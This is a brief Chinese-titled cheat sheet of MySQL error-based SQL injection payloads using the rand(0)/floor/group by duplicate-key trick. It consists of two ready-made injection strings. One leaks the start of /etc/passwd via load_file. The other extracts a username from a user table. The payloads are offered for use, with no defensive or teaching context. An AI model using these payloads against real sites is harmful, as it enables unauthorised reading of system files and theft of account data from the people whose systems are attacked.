mysql常用的注入用法:利用rand&groupby报错大法
1’ and (select 1 from (select count(*),concat(floor(rand(0)*2),substring(load_file('/etc/passwd'),0,5))a from information_schema.tables group by a)b) and ‘1’=‘1
1' and (select 1 from (select count(*),concat(floor(rand(0)*2),(select username from user limit 0,1))a from information_schema.tables group by a)b) and '1'='1